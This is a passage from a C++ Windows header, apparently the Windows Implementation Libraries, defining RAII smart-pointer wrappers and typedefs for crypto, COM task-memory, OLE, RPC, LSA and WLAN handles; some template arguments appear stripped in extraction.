WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)\n#define __WIL__WINCRYPT_H__\n /// @cond\n namespace details\n {\n inline void __stdcall CertCloseStoreNoParam(_Pre_opt_valid_ _Frees_ptr_opt_ HCERTSTORE hCertStore) WI_NOEXCEPT\n {\n ::CertCloseStore(hCertStore, 0);\n }\n\n inline void __stdcall CryptReleaseContextNoParam(_Pre_opt_valid_ _Frees_ptr_opt_ HCRYPTPROV hCryptCtx) WI_NOEXCEPT\n {\n ::CryptReleaseContext(hCryptCtx, 0);\n }\n }\n /// @endcond\n\n struct cert_context_t : details::unique_storage>\n {\n // forward all base class constructors...\n template \n explicit cert_context_t(args_t&&... args) WI_NOEXCEPT : unique_storage(wistd::forward(args)...) {}\n\n /** A wrapper around CertEnumCertificatesInStore.\n CertEnumCertificatesInStore takes ownership of its second paramter in an unclear fashion,\n making it error-prone to use in combination with unique_cert_context. This wrapper helps\n manage the resource correctly while ensuring the GetLastError state set by CertEnumCertificatesInStore.\n is not lost. See MSDN for more information on `CertEnumCertificatesInStore`.\n ~~~~\n void MyMethod(HCERTSTORE certStore)\n {\n wil::unique_cert_context enumCert;\n while (enumCert.CertEnumCertificatesInStore(certStore))\n {\n UseTheCertToDoTheThing(enumCert);\n }\n }\n ~~~~\n @param certStore A handle of a certificate store.\n @param 'true' if a certificate was enumerated by this call, false otherwise.\n */\n bool CertEnumCertificatesInStore(HCERTSTORE certStore) WI_NOEXCEPT\n {\n reset(::CertEnumCertificatesInStore(certStore, release()));\n return is_valid();\n }\n };\n\n // Warning - ::CertEnumCertificatesInStore takes ownership of its parameter. Prefer the\n // .CertEnumCertificatesInStore method of the unique_cert_context or else use .release\n // when calling ::CertEnumCertificatesInStore directly.\n typedef unique_any_t unique_cert_context;\n typedef unique_any unique_cert_chain_context;\n typedef unique_any unique_hcertstore;\n typedef unique_any unique_hcryptprov;\n typedef unique_any unique_hcryptkey;\n typedef unique_any unique_hcrypthash;\n#endif // __WIL__WINCRYPT_H__\n#if defined(__WIL__WINCRYPT_H__) && !defined(__WIL__WINCRYPT_H__STL) && defined(WIL_RESOURCE_STL)\n#define __WIL__WINCRYPT_H__STL\n typedef shared_any shared_cert_context;\n typedef shared_any shared_cert_chain_context;\n typedef shared_any shared_hcertstore;\n typedef shared_any shared_hcryptprov;\n typedef shared_any shared_hcryptkey;\n typedef shared_any shared_hcrypthash;\n\n typedef weak_any weak_cert_context;\n typedef weak_any weak_cert_chain_context;\n typedef weak_any weak_hcertstore;\n typedef weak_any weak_hcryptprov;\n typedef weak_any weak_hcryptkey;\n typedef weak_any weak_hcrypthash;\n#endif // __WIL__WINCRYPT_H__STL\n\n\n#if defined(__NCRYPT_H__) && !defined(__WIL_NCRYPT_H__) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)\n#define __WIL_NCRYPT_H__\n using ncrypt_deleter = function_deleter;\n\n template \n using unique_ncrypt_ptr = wistd::unique_ptr;\n\n typedef unique_any unique_ncrypt_prov;\n typedef unique_any unique_ncrypt_key;\n typedef unique_any unique_ncrypt_secret;\n#endif // __WIL_NCRYPT_H__\n#if defined(__WIL_NCRYPT_H__) && !defined(__WIL_NCRYPT_H_STL) && defined(WIL_RESOURCE_STL)\n#define __WIL_NCRYPT_H_STL\n typedef shared_any shared_ncrypt_prov;\n typedef shared_any shared_ncrypt_key;\n typedef shared_any shared_ncrypt_secret;\n\n typedef weak_any weak_ncrypt_prov;\n typedef weak_any weak_ncrypt_key;\n typedef weak_any weak_ncrypt_secret;\n#endif // __WIL_NCRYPT_H_STL\n\n#if defined(__BCRYPT_H__) && !defined(__WIL_BCRYPT_H__) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)\n#define __WIL_BCRYPT_H__\n /// @cond\n namespace details\n {\n inline void __stdcall BCryptCloseAlgorithmProviderNoFlags(_Pre_opt_valid_ _Frees_ptr_opt_ BCRYPT_ALG_HANDLE hAlgorithm) WI_NOEXCEPT\n {\n if (hAlgorithm)\n {\n ::BCryptCloseAlgorithmProvider(hAlgorithm, 0);\n }\n }\n }\n /// @endcond\n\n using bcrypt_deleter = function_deleter;\n\n template \n using unique_bcrypt_ptr = wistd::unique_ptr;\n\n typedef unique_any unique_bcrypt_algorithm;\n typedef unique_any unique_bcrypt_hash;\n typedef unique_any unique_bcrypt_key;\n typedef unique_any unique_bcrypt_secret;\n#endif // __WIL_BCRYPT_H__\n#if defined(__WIL_BCRYPT_H__) && !defined(__WIL_BCRYPT_H_STL) && defined(WIL_RESOURCE_STL)\n#define __WIL_BCRYPT_H_STL\n typedef shared_any shared_bcrypt_algorithm;\n typedef shared_any shared_bcrypt_hash;\n typedef shared_any shared_bcrypt_key;\n typedef shared_any shared_bcrypt_secret;\n\n typedef weak_any weak_bcrypt_algorithm;\n typedef weak_any weak_bcrypt_hash;\n typedef weak_any weak_bcrypt_key;\n typedef weak_any weak_bcrypt_secret;\n#endif // __WIL_BCRYPT_H_STL\n\n\n#if defined(__RPCNDR_H__) && !defined(__WIL__RPCNDR_H__) && !defined(WIL_KERNEL_MODE)\n#define __WIL__RPCNDR_H__\n\n //! Function deleter for use with pointers allocated by MIDL_user_allocate\n using midl_deleter = function_deleter;\n\n //! Unique-ptr holding a type allocated by MIDL_user_alloc or returned from an RPC invocation\n template using unique_midl_ptr = wistd::unique_ptr;\n\n //! Unique-ptr for strings allocated by MIDL_user_alloc\n using unique_midl_string = unique_midl_ptr;\n#ifndef WIL_NO_ANSI_STRINGS\n using unique_midl_ansistring = unique_midl_ptr;\n#endif\n\n namespace details\n {\n struct midl_allocator\n {\n static _Ret_opt_bytecap_(size) void* allocate(size_t size) WI_NOEXCEPT\n {\n return ::MIDL_user_allocate(size);\n }\n };\n\n // Specialization to support construction of unique_midl_string instances\n template<> struct string_allocator : midl_allocator {};\n\n#ifndef WIL_NO_ANSI_STRINGS\n template<> struct string_allocator : midl_allocator {};\n#endif\n }\n#endif // __WIL__RPCNDR_H__\n\n#if defined(_OBJBASE_H_) && !defined(__WIL_OBJBASE_H_) && !defined(WIL_KERNEL_MODE)\n#define __WIL_OBJBASE_H_\n using cotaskmem_deleter = function_deleter;\n\n template \n using unique_cotaskmem_ptr = wistd::unique_ptr;\n\n template \n using unique_cotaskmem_array_ptr = unique_array_ptr;\n\n /** Provides `std::make_unique()` semantics for resources allocated with `CoTaskMemAlloc()` in a context that may not throw upon allocation failure.\n Use `wil::make_unique_cotaskmem_nothrow()` for resources returned from APIs that must satisfy a memory allocation contract that requires the use of `CoTaskMemAlloc()` / `CoTaskMemFree()`.\n Use `wil::make_unique_nothrow()` when `CoTaskMemAlloc()` is not required.\n\n Allocations are initialized with placement new and will call constructors (if present), but this does not guarantee initialization.\n\n Note that `wil::make_unique_cotaskmem_nothrow()` is not marked WI_NOEXCEPT as it may be used to create an exception-based class that may throw in its constructor.\n ~~~\n auto foo = wil::make_unique_cotaskmem_nothrow();\n if (foo)\n {\n // initialize allocated Foo object as appropriate\n }\n ~~~\n */\n template \n inline typename wistd::enable_if::value, unique_cotaskmem_ptr>::type make_unique_cotaskmem_nothrow(Args&&... args)\n {\n static_assert(wistd::is_trivially_destructible::value, \"T has a destructor that won't be run when used with this function; use make_unique instead\");\n unique_cotaskmem_ptr sp(static_cast(::CoTaskMemAlloc(sizeof(T))));\n if (sp)\n {\n // use placement new to initialize memory from the previous allocation\n new (sp.get()) T(wistd::forward(args)...);\n }\n return sp;\n }\n\n /** Provides `std::make_unique()` semantics for array resources allocated with `CoTaskMemAlloc()` in a context that may not throw upon allocation failure.\n See the overload of `wil::make_unique_cotaskmem_nothrow()` for non-array types for more details.\n ~~~\n const size_t size = 42;\n auto foos = wil::make_unique_cotaskmem_nothrow(size);\n if (foos)\n {\n for (auto& elem : wil::make_range(foos.get(), size))\n {\n // initialize allocated Foo objects as appropriate\n }\n }\n ~~~\n */\n template \n inline typename wistd::enable_if::value && wistd::extent::value == 0, unique_cotaskmem_ptr>::type make_unique_cotaskmem_nothrow(size_t size)\n {\n typedef typename wistd::remove_extent::type E;\n static_assert(wistd::is_trivially_destructible::value, \"E has a destructor that won't be run when used with this function; use make_unique instead\");\n FAIL_FAST_IF((__WI_SIZE_MAX / sizeof(E)) < size);\n size_t allocSize = sizeof(E) * size;\n unique_cotaskmem_ptr sp(static_cast(::CoTaskMemAlloc(allocSize)));\n if (sp)\n {\n // use placement new to initialize memory from the previous allocation;\n // note that array placement new cannot be used as the standard allows for operator new[]\n // to consume overhead in the allocation for internal bookkeeping\n for (auto& elem : make_range(static_cast(sp.get()), size))\n {\n new (&elem) E();\n }\n }\n return sp;\n }\n\n /** Provides `std::make_unique()` semantics for resources allocated with `CoTaskMemAlloc()` in a context that must fail fast upon allocation failure.\n See the overload of `wil::make_unique_cotaskmem_nothrow()` for non-array types for more details.\n ~~~\n auto foo = wil::make_unique_cotaskmem_failfast();\n // initialize allocated Foo object as appropriate\n ~~~\n */\n template \n inline typename wistd::enable_if::value, unique_cotaskmem_ptr>::type make_unique_cotaskmem_failfast(Args&&... args)\n {\n unique_cotaskmem_ptr result(make_unique_cotaskmem_nothrow(wistd::forward(args)...));\n FAIL_FAST_IF_NULL_ALLOC(result);\n return result;\n }\n\n /** Provides `std::make_unique()` semantics for array resources allocated with `CoTaskMemAlloc()` in a context that must fail fast upon allocation failure.\n See the overload of `wil::make_unique_cotaskmem_nothrow()` for non-array types for more details.\n ~~~\n const size_t size = 42;\n auto foos = wil::make_unique_cotaskmem_failfast(size);\n for (auto& elem : wil::make_range(foos.get(), size))\n {\n // initialize allocated Foo objects as appropriate\n }\n ~~~\n */\n template \n inline typename wistd::enable_if::value && wistd::extent::value == 0, unique_cotaskmem_ptr>::type make_unique_cotaskmem_failfast(size_t size)\n {\n unique_cotaskmem_ptr result(make_unique_cotaskmem_nothrow(size));\n FAIL_FAST_IF_NULL_ALLOC(result);\n return result;\n }\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n /** Provides `std::make_unique()` semantics for resources allocated with `CoTaskMemAlloc()`.\n See the overload of `wil::make_unique_cotaskmem_nothrow()` for non-array types for more details.\n ~~~\n auto foo = wil::make_unique_cotaskmem();\n // initialize allocated Foo object as appropriate\n ~~~\n */\n template \n inline typename wistd::enable_if::value, unique_cotaskmem_ptr>::type make_unique_cotaskmem(Args&&... args)\n {\n unique_cotaskmem_ptr result(make_unique_cotaskmem_nothrow(wistd::forward(args)...));\n THROW_IF_NULL_ALLOC(result);\n return result;\n }\n\n /** Provides `std::make_unique()` semantics for array resources allocated with `CoTaskMemAlloc()`.\n See the overload of `wil::make_unique_cotaskmem_nothrow()` for non-array types for more details.\n ~~~\n const size_t size = 42;\n auto foos = wil::make_unique_cotaskmem(size);\n for (auto& elem : wil::make_range(foos.get(), size))\n {\n // initialize allocated Foo objects as appropriate\n }\n ~~~\n */\n template \n inline typename wistd::enable_if::value && wistd::extent::value == 0, unique_cotaskmem_ptr>::type make_unique_cotaskmem(size_t size)\n {\n unique_cotaskmem_ptr result(make_unique_cotaskmem_nothrow(size));\n THROW_IF_NULL_ALLOC(result);\n return result;\n }\n#endif // WIL_ENABLE_EXCEPTIONS\n\n typedef unique_any unique_cotaskmem;\n typedef unique_any unique_cotaskmem_string;\n#ifndef WIL_NO_ANSI_STRINGS\n typedef unique_any unique_cotaskmem_ansistring;\n#endif // WIL_NO_ANSI_STRINGS\n\n /// @cond\n namespace details\n {\n struct cotaskmem_allocator\n {\n static _Ret_opt_bytecap_(size) void* allocate(size_t size) WI_NOEXCEPT\n {\n return ::CoTaskMemAlloc(size);\n }\n };\n\n template<> struct string_allocator : cotaskmem_allocator {};\n\n#ifndef WIL_NO_ANSI_STRINGS\n template<> struct string_allocator : cotaskmem_allocator {};\n#endif // WIL_NO_ANSI_STRINGS\n }\n /// @endcond\n\n inline auto make_cotaskmem_string_nothrow(\n _When_((source != nullptr) && length != static_cast(-1), _In_reads_(length))\n _When_((source != nullptr) && length == static_cast(-1), _In_z_)\n PCWSTR source, size_t length = static_cast(-1)) WI_NOEXCEPT\n {\n return make_unique_string_nothrow(source, length);\n }\n\n inline auto make_cotaskmem_string_failfast(\n _When_((source != nullptr) && length != static_cast(-1), _In_reads_(length))\n _When_((source != nullptr) && length == static_cast(-1), _In_z_)\n PCWSTR source, size_t length = static_cast(-1)) WI_NOEXCEPT\n {\n return make_unique_string_failfast(source, length);\n }\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n inline auto make_cotaskmem_string(\n _When_((source != nullptr) && length != static_cast(-1), _In_reads_(length))\n _When_((source != nullptr) && length == static_cast(-1), _In_z_)\n PCWSTR source, size_t length = static_cast(-1))\n {\n return make_unique_string(source, length);\n }\n\n#endif // WIL_ENABLE_EXCEPTIONS\n#endif // __WIL_OBJBASE_H_\n#if defined(__WIL_OBJBASE_H_) && !defined(__WIL_OBJBASE_H_STL) && defined(WIL_RESOURCE_STL)\n#define __WIL_OBJBASE_H_STL\n typedef shared_any shared_cotaskmem;\n typedef weak_any weak_cotaskmem;\n typedef shared_any shared_cotaskmem_string;\n typedef weak_any weak_cotaskmem_string;\n#endif // __WIL_OBJBASE_H_STL\n\n#if defined(__WIL_OBJBASE_H_) && defined(__WIL_WINBASE_) && !defined(__WIL_OBJBASE_AND_WINBASE_H_) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)\n#define __WIL_OBJBASE_AND_WINBASE_H_\n\n struct cotaskmem_secure_deleter\n {\n template \n void operator()(_Pre_opt_valid_ _Frees_ptr_opt_ T* p) const\n {\n if (p)\n {\n IMalloc* malloc;\n if (SUCCEEDED(::CoGetMalloc(1, &malloc)))\n {\n size_t const size = malloc->GetSize(p);\n if (size != static_cast(-1))\n {\n ::SecureZeroMemory(p, size);\n }\n malloc->Release();\n }\n ::CoTaskMemFree(p);\n }\n }\n };\n\n template \n using unique_cotaskmem_secure_ptr = wistd::unique_ptr;\n\n /** Provides `std::make_unique()` semantics for secure resources allocated with `CoTaskMemAlloc()` in a context that may not throw upon allocation failure.\n See the overload of `wil::make_unique_cotaskmem_nothrow()` for non-array types for more details.\n ~~~\n auto foo = wil::make_unique_cotaskmem_secure_nothrow();\n if (foo)\n {\n // initialize allocated Foo object as appropriate\n }\n ~~~\n */\n template \n inline typename wistd::enable_if::value, unique_cotaskmem_secure_ptr>::type make_unique_cotaskmem_secure_nothrow(Args&&... args)\n {\n return unique_cotaskmem_secure_ptr(make_unique_cotaskmem_nothrow(wistd::forward(args)...).release());\n }\n\n /** Provides `std::make_unique()` semantics for secure array resources allocated with `CoTaskMemAlloc()` in a context that may not throw upon allocation failure.\n See the overload of `wil::make_unique_cotaskmem_nothrow()` for non-array types for more details.\n ~~~\n const size_t size = 42;\n auto foos = wil::make_unique_cotaskmem_secure_nothrow(size);\n if (foos)\n {\n for (auto& elem : wil::make_range(foos.get(), size))\n {\n // initialize allocated Foo objects as appropriate\n }\n }\n ~~~\n */\n template \n inline typename wistd::enable_if::value && wistd::extent::value == 0, unique_cotaskmem_secure_ptr>::type make_unique_cotaskmem_secure_nothrow(size_t size)\n {\n return unique_cotaskmem_secure_ptr(make_unique_cotaskmem_nothrow(size).release());\n }\n\n /** Provides `std::make_unique()` semantics for secure resources allocated with `CoTaskMemAlloc()` in a context that must fail fast upon allocation failure.\n See the overload of `wil::make_unique_cotaskmem_nothrow()` for non-array types for more details.\n ~~~\n auto foo = wil::make_unique_cotaskmem_secure_failfast();\n // initialize allocated Foo object as appropriate\n ~~~\n */\n template \n inline typename wistd::enable_if::value, unique_cotaskmem_secure_ptr>::type make_unique_cotaskmem_secure_failfast(Args&&... args)\n {\n unique_cotaskmem_secure_ptr result(make_unique_cotaskmem_secure_nothrow(wistd::forward(args)...));\n FAIL_FAST_IF_NULL_ALLOC(result);\n return result;\n }\n\n /** Provides `std::make_unique()` semantics for secure array resources allocated with `CoTaskMemAlloc()` in a context that must fail fast upon allocation failure.\n See the overload of `wil::make_unique_cotaskmem_nothrow()` for non-array types for more details.\n ~~~\n const size_t size = 42;\n auto foos = wil::make_unique_cotaskmem_secure_failfast(size);\n for (auto& elem : wil::make_range(foos.get(), size))\n {\n // initialize allocated Foo objects as appropriate\n }\n ~~~\n */\n template \n inline typename wistd::enable_if::value && wistd::extent::value == 0, unique_cotaskmem_secure_ptr>::type make_unique_cotaskmem_secure_failfast(size_t size)\n {\n unique_cotaskmem_secure_ptr result(make_unique_cotaskmem_secure_nothrow(size));\n FAIL_FAST_IF_NULL_ALLOC(result);\n return result;\n }\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n /** Provides `std::make_unique()` semantics for secure resources allocated with `CoTaskMemAlloc()`.\n See the overload of `wil::make_unique_cotaskmem_nothrow()` for non-array types for more details.\n ~~~\n auto foo = wil::make_unique_cotaskmem_secure();\n // initialize allocated Foo object as appropriate\n ~~~\n */\n template \n inline typename wistd::enable_if::value, unique_cotaskmem_secure_ptr>::type make_unique_cotaskmem_secure(Args&&... args)\n {\n unique_cotaskmem_secure_ptr result(make_unique_cotaskmem_secure_nothrow(wistd::forward(args)...));\n THROW_IF_NULL_ALLOC(result);\n return result;\n }\n\n /** Provides `std::make_unique()` semantics for secure array resources allocated with `CoTaskMemAlloc()`.\n See the overload of `wil::make_unique_cotaskmem_nothrow()` for non-array types for more details.\n ~~~\n const size_t size = 42;\n auto foos = wil::make_unique_cotaskmem_secure(size);\n for (auto& elem : wil::make_range(foos.get(), size))\n {\n // initialize allocated Foo objects as appropriate\n }\n ~~~\n */\n template \n inline typename wistd::enable_if::value && wistd::extent::value == 0, unique_cotaskmem_secure_ptr>::type make_unique_cotaskmem_secure(size_t size)\n {\n unique_cotaskmem_secure_ptr result(make_unique_cotaskmem_secure_nothrow(size));\n THROW_IF_NULL_ALLOC(result);\n return result;\n }\n#endif // WIL_ENABLE_EXCEPTIONS\n\n typedef unique_cotaskmem_secure_ptr unique_cotaskmem_string_secure;\n\n /** Copies a given string into secure memory allocated with `CoTaskMemAlloc()` in a context that may not throw upon allocation failure.\n See the overload of `wil::make_cotaskmem_string_nothrow()` with supplied length for more details.\n ~~~\n auto str = wil::make_cotaskmem_string_secure_nothrow(L\"a string\");\n if (str)\n {\n std::wcout << L\"This is \" << str.get() << std::endl; // prints \"This is a string\"\n }\n ~~~\n */\n inline unique_cotaskmem_string_secure make_cotaskmem_string_secure_nothrow(_In_ PCWSTR source) WI_NOEXCEPT\n {\n return unique_cotaskmem_string_secure(make_cotaskmem_string_nothrow(source).release());\n }\n\n /** Copies a given string into secure memory allocated with `CoTaskMemAlloc()` in a context that must fail fast upon allocation failure.\n See the overload of `wil::make_cotaskmem_string_nothrow()` with supplied length for more details.\n ~~~\n auto str = wil::make_cotaskmem_string_secure_failfast(L\"a string\");\n std::wcout << L\"This is \" << str.get() << std::endl; // prints \"This is a string\"\n ~~~\n */\n inline unique_cotaskmem_string_secure make_cotaskmem_string_secure_failfast(_In_ PCWSTR source) WI_NOEXCEPT\n {\n unique_cotaskmem_string_secure result(make_cotaskmem_string_secure_nothrow(source));\n FAIL_FAST_IF_NULL_ALLOC(result);\n return result;\n }\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n /** Copies a given string into secure memory allocated with `CoTaskMemAlloc()`.\n See the overload of `wil::make_cotaskmem_string_nothrow()` with supplied length for more details.\n ~~~\n auto str = wil::make_cotaskmem_string_secure(L\"a string\");\n std::wcout << L\"This is \" << str.get() << std::endl; // prints \"This is a string\"\n ~~~\n */\n inline unique_cotaskmem_string_secure make_cotaskmem_string_secure(_In_ PCWSTR source)\n {\n unique_cotaskmem_string_secure result(make_cotaskmem_string_secure_nothrow(source));\n THROW_IF_NULL_ALLOC(result);\n return result;\n }\n#endif\n#endif // __WIL_OBJBASE_AND_WINBASE_H_\n\n#if defined(_OLE2_H_) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) && !defined(__WIL_OLE2_H_) && !defined(WIL_KERNEL_MODE)\n#define __WIL_OLE2_H_\n typedef unique_struct unique_stg_medium;\n struct unique_hglobal_locked : public unique_any\n {\n unique_hglobal_locked() = delete;\n\n explicit unique_hglobal_locked(HGLOBAL global) : unique_any(global)\n {\n // GlobalLock returns a pointer to the associated global memory block and that's what callers care about.\n m_globalMemory = GlobalLock(global);\n if (!m_globalMemory)\n {\n release();\n }\n }\n\n explicit unique_hglobal_locked(STGMEDIUM& medium) : unique_hglobal_locked(medium.hGlobal)\n {\n }\n\n pointer get() const\n {\n return m_globalMemory;\n }\n\n private:\n pointer m_globalMemory;\n };\n\n //! A type that calls OleUninitialize on destruction (or reset()).\n //! Use as a replacement for Windows::Foundation::Uninitialize.\n using unique_oleuninitialize_call = unique_call;\n\n //! Calls RoInitialize and fail-fasts if it fails; returns an RAII object that reverts\n //! Use as a replacement for Windows::Foundation::Initialize\n _Check_return_ inline unique_oleuninitialize_call OleInitialize_failfast()\n {\n FAIL_FAST_IF_FAILED(::OleInitialize(nullptr));\n return unique_oleuninitialize_call();\n }\n#endif // __WIL_OLE2_H_\n\n#if defined(__WIL_OLE2_H_) && defined(WIL_ENABLE_EXCEPTIONS) && !defined(__WIL_OLE2_H_EXCEPTIONAL)\n#define __WIL_OLE2_H_EXCEPTIONAL\n //! Calls RoInitialize and throws an exception if it fails; returns an RAII object that reverts\n //! Use as a replacement for Windows::Foundation::Initialize\n _Check_return_ inline unique_oleuninitialize_call OleInitialize()\n {\n THROW_IF_FAILED(::OleInitialize(nullptr));\n return unique_oleuninitialize_call();\n }\n#endif\n\n#if defined(_INC_COMMCTRL) && !defined(__WIL_INC_COMMCTRL) && !defined(WIL_KERNEL_MODE)\n#define __WIL_INC_COMMCTRL\n typedef unique_any unique_himagelist;\n#endif // __WIL_INC_COMMCTRL\n#if defined(__WIL_INC_COMMCTRL) && !defined(__WIL_INC_COMMCTRL_STL) && defined(WIL_RESOURCE_STL)\n#define __WIL_INC_COMMCTRL_STL\n typedef shared_any shared_himagelist;\n typedef weak_any weak_himagelist;\n#endif // __WIL_INC_COMMCTRL_STL\n\n#if defined(_UXTHEME_H_) && !defined(__WIL_INC_UXTHEME) && !defined(WIL_KERNEL_MODE)\n#define __WIL_INC_UXTHEME\n typedef unique_any unique_htheme;\n#endif // __WIL_INC_UXTHEME\n\n#if defined(_WINSVC_) && !defined(__WIL_HANDLE_H_WINSVC) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) && !defined(WIL_KERNEL_MODE)\n#define __WIL_HANDLE_H_WINSVC\n typedef unique_any unique_schandle;\n#endif // __WIL_HANDLE_H_WINSVC\n#if defined(__WIL_HANDLE_H_WINSVC) && !defined(__WIL_HANDLE_H_WINSVC_STL) && defined(WIL_RESOURCE_STL)\n#define __WIL_HANDLE_H_WINSVC_STL\n typedef shared_any shared_schandle;\n typedef weak_any weak_schandle;\n#endif // __WIL_HANDLE_H_WINSVC_STL\n\n#if defined(_INC_STDIO) && !defined(__WIL_INC_STDIO) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) && !defined(WIL_KERNEL_MODE)\n#define __WIL_INC_STDIO\n typedef unique_any unique_pipe;\n typedef unique_any unique_file;\n#endif // __WIL_INC_STDIO\n#if defined(__WIL_INC_STDIO) && !defined(__WIL__INC_STDIO_STL) && defined(WIL_RESOURCE_STL)\n#define __WIL__INC_STDIO_STL\n typedef shared_any shared_pipe;\n typedef weak_any weak_pipe;\n typedef shared_any shared_file;\n typedef weak_any weak_file;\n#endif // __WIL__INC_STDIO_STL\n\n#if defined(_NTLSA_) && !defined(__WIL_NTLSA_) && !defined(WIL_KERNEL_MODE)\n#define __WIL_NTLSA_\n typedef unique_any unique_hlsa;\n\n using lsa_freemem_deleter = function_deleter;\n\n template \n using unique_lsamem_ptr = wistd::unique_ptr;\n#endif // _NTLSA_\n#if defined(_NTLSA_) && !defined(__WIL_NTLSA_STL) && defined(WIL_RESOURCE_STL)\n#define __WIL_NTLSA_STL\n typedef shared_any shared_hlsa;\n typedef weak_any weak_hlsa;\n#endif // _NTLSA_\n\n#if defined(_LSALOOKUP_) && !defined(__WIL_LSALOOKUP_)\n#define __WIL_LSALOOKUP_\n typedef unique_any unique_hlsalookup;\n\n using lsalookup_freemem_deleter = function_deleter;\n\n template \n using unique_lsalookupmem_ptr = wistd::unique_ptr;\n#endif // _LSALOOKUP_\n#if defined(_LSALOOKUP_) && !defined(__WIL_LSALOOKUP_STL) && defined(WIL_RESOURCE_STL)\n#define __WIL_LSALOOKUP_STL\n typedef shared_any shared_hlsalookup;\n typedef weak_any weak_hlsalookup;\n#endif // _LSALOOKUP_\n\n#if defined(_NTLSA_IFS_) && !defined(__WIL_HANDLE_H_NTLSA_IFS_) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)\n#define __WIL_HANDLE_H_NTLSA_IFS_\n using lsa_deleter = function_deleter;\n\n template \n using unique_lsa_ptr = wistd::unique_ptr;\n#endif // __WIL_HANDLE_H_NTLSA_IFS_\n\n#if defined(__WERAPI_H__) && !defined(__WIL_WERAPI_H__) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)\n#define __WIL_WERAPI_H__\n typedef unique_any unique_wer_report;\n#endif\n\n#if defined(__MIDLES_H__) && !defined(__WIL_MIDLES_H__) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)\n#define __WIL_MIDLES_H__\n typedef unique_any unique_rpc_pickle;\n#endif\n#if defined(__WIL_MIDLES_H__) && !defined(__WIL_MIDLES_H_STL) && defined(WIL_RESOURCE_STL)\n#define __WIL_MIDLES_H_STL\n typedef shared_any shared_rpc_pickle;\n typedef weak_any weak_rpc_pickle;\n#endif\n\n#if defined(__RPCDCE_H__) && !defined(__WIL_RPCDCE_H__) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)\n#define __WIL_RPCDCE_H__\n /// @cond\n namespace details\n {\n inline void __stdcall WpRpcBindingFree(_Pre_opt_valid_ _Frees_ptr_opt_ RPC_BINDING_HANDLE binding)\n {\n ::RpcBindingFree(&binding);\n }\n\n inline void __stdcall WpRpcBindingVectorFree(_Pre_opt_valid_ _Frees_ptr_opt_ RPC_BINDING_VECTOR* bindingVector)\n {\n ::RpcBindingVectorFree(&bindingVector);\n }\n\n inline void __stdcall WpRpcStringFree(_Pre_opt_valid_ _Frees_ptr_opt_ RPC_WSTR wstr)\n {\n ::RpcStringFreeW(&wstr);\n }\n }\n /// @endcond\n\n typedef unique_any unique_rpc_binding;\n typedef unique_any unique_rpc_binding_vector;\n typedef unique_any unique_rpc_wstr;\n#endif\n#if defined(__WIL_RPCDCE_H__) && !defined(__WIL_RPCDCE_H_STL) && defined(WIL_RESOURCE_STL)\n#define __WIL_RPCDCE_H_STL\n typedef shared_any shared_rpc_binding;\n typedef weak_any weak_rpc_binding;\n typedef shared_any shared_rpc_binding_vector;\n typedef weak_any weak_rpc_binding_vector;\n typedef shared_any shared_rpc_wstr;\n typedef weak_any weak_rpc_wstr;\n#endif\n\n#if defined(_WCMAPI_H) && !defined(__WIL_WCMAPI_H_) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)\n#define __WIL_WCMAPI_H_\n using wcm_deleter = function_deleter;\n\n template\n using unique_wcm_ptr = wistd::unique_ptr;\n#endif\n\n#if defined(_NETIOAPI_H_) && defined(_WS2IPDEF_) && defined(MIB_INVALID_TEREDO_PORT_NUMBER) && !defined(__WIL_NETIOAPI_H_) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)\n#define __WIL_NETIOAPI_H_\n typedef unique_any unique_mib_iftable;\n#endif\n#if defined(__WIL_NETIOAPI_H_) && !defined(__WIL_NETIOAPI_H_STL) && defined(WIL_RESOURCE_STL)\n#define __WIL_NETIOAPI_H_STL\n typedef shared_any shared_mib_iftable;\n typedef weak_any weak_mib_iftable;\n#endif\n\n#if defined(_WLAN_WLANAPI_H) && !defined(__WIL_WLAN_WLANAPI_H) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)\n#define __WIL_WLAN_WLANAPI_H\n using wlan_deleter = function_deleter;\n\n template\n using unique_wlan_ptr = wistd::unique_ptr < T, wlan_deleter >;\n\n /// @cond\n namespace details\n {\n inline void __stdcall CloseWlanHandle(_Frees_ptr_ HANDLE hClientHandle)\n {\n ::WlanCloseHandle(hClientHandle, nullptr);\n }\n }\n /// @endcond\n\n typedef unique_any unique_wlan_handle;\n#endif\n#if defined(__WIL_WLAN_WLANAPI_H) && !defined(__WIL_WLAN_WLANAPI_H_STL) && defined(WIL_RESOURCE_STL)\n#define __WIL_WLAN_WLANAPI_H_STL\n typedef shared_any shared_wlan_handle;\n typedef weak_any weak_wlan_handle;\n#endif\n\n#if defined(_HPOWERNOTIFY_DEF_) && !defined(__WIL_HPOWERNOTIFY_DEF_H_) && !defined(WIL_KERNEL_MODE)\n#define __WIL_HPOWERNOTIFY_DEF_H_\n typedef unique_any unique_hpowernotify;\n#endif\n\n#if defined(__WIL_WINBASE_DESKTOP) && defined(SID_DEFINED) && !defined(__WIL_PSID_DEF_H_)\n#define __WIL_PSID_DEF_H_\n typedef unique_any unique_any_psid;\n#if defined(_OBJBASE_H_)\n typedef unique_any unique_cotaskmem_psid;\n#endif\n#endif\n\n#if defined(_PROCESSTHREADSAPI_H_) && !defined(__WIL_PROCESSTHREADSAPI_H_DESK_SYS) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP | WINAPI_PARTITION_SYSTEM) && !defined(WIL_KERNEL_MODE)\n#define __WIL_PROCESSTHREADSAPI_H_DESK_SYS\n /// @cond\n namespace details\n {\n inline void __stdcall CloseProcessInformation(_In_ 